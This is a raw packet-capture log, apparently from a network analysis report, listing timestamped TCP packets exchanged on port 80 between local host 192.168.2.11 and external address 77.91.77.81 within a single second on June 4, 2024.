Jun 4, 2024 23:09:16.407052994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407069921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407073975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407087088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407094955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407099962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407110929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407110929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407124043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407134056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407135963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407147884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407159090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407164097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407174110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407180071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407186985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407197952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407198906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407207966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407218933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407226086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407237053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407248020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407253027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407258987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407267094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407269955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407280922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407293081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407295942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407304049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407315969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407324076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407326937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407337904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407339096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407349110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407358885 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407361031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407372952 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407378912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407397032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407399893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407407999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407418966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407426119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407432079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407444000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407445908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407454967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407465935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407475948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407480001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407490969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407499075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407502890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407514095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407522917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407529116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407546043 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407546997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407557964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407567978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407571077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407586098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407598019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407599926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407608986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407618999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407624006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407630920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407641888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407651901 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407654047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407665968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407676935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407680035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407689095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407694101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407700062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407712936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407720089 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407725096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407737970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407744884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407749891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407761097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407763004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407773972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407784939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407784939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407797098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407807112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407809019 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407818079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407828093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407829046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407839060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407844067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407850027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407860041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407871008 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407877922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407886982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407891035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407898903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407907963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407910109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407919884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407921076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407929897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407941103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407947063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407951117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407962084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407968998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.407972097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407983065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.407991886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408011913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408226013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408827066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.408865929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408871889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.408883095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408883095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.408906937 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.408921957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409004927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409020901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409033060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409045935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409053087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409058094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409069061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409075975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409085035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409090996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409096956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409110069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409113884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409137964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409172058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409183025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409193039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409204960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409214973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409219027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409229040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409231901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409243107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409254074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409255028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409266949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409276009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409279108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409291983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409291983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409307957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409316063 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409326077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409339905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409343004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409354925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409354925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409365892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409377098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409378052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409389973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409390926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409403086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409410954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409415007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409427881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409435987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409440041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409450054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409452915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409463882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409475088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409476042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409487009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409497976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409497976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409509897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409514904 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409523010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409533024 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409540892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.409557104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.409578085 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.410157919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413213015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413232088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413244009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413254976 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413268089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413280010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413294077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413304090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413305998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413316965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413327932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413330078 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413350105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413358927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413371086 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413397074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413431883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413570881 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413590908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413603067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413614035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413618088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413625956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413629055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413638115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413649082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413650036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413660049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413671970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413676977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413682938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413687944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413693905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413705111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413712978 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413724899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413736105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413742065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413748980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413754940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413765907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413775921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413779020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413789034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413799047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413803101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413815022 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413816929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413826942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413837910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413840055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413852930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413862944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413865089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413876057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413883924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413901091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413902044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413913965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413924932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413928986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413939953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413949013 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413953066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413964033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413965940 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413984060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.413990021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.413996935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414006948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414007902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414020061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414031982 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414031982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414045095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414053917 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414057016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414068937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414074898 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414081097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414093971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414093971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414104939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414118052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414117098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414128065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414132118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414139986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414150953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414155960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414163113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414172888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414179087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414185047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414192915 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414199114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414211988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414211988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414236069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414259911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414546967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414572001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414619923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414711952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414729118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414741993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414752007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414772987 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414777040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414787054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414787054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414793015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414798021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414803028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414824009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414832115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414834976 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414838076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414846897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414849043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414849043 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414851904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414858103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414859056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414861917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414874077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414902925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.414967060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414984941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.414997101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415008068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415009975 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415019035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415030003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415033102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415041924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415051937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415056944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.415064096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.415066004 CEST	49713	80	192.168.2.11	77.91.77.81
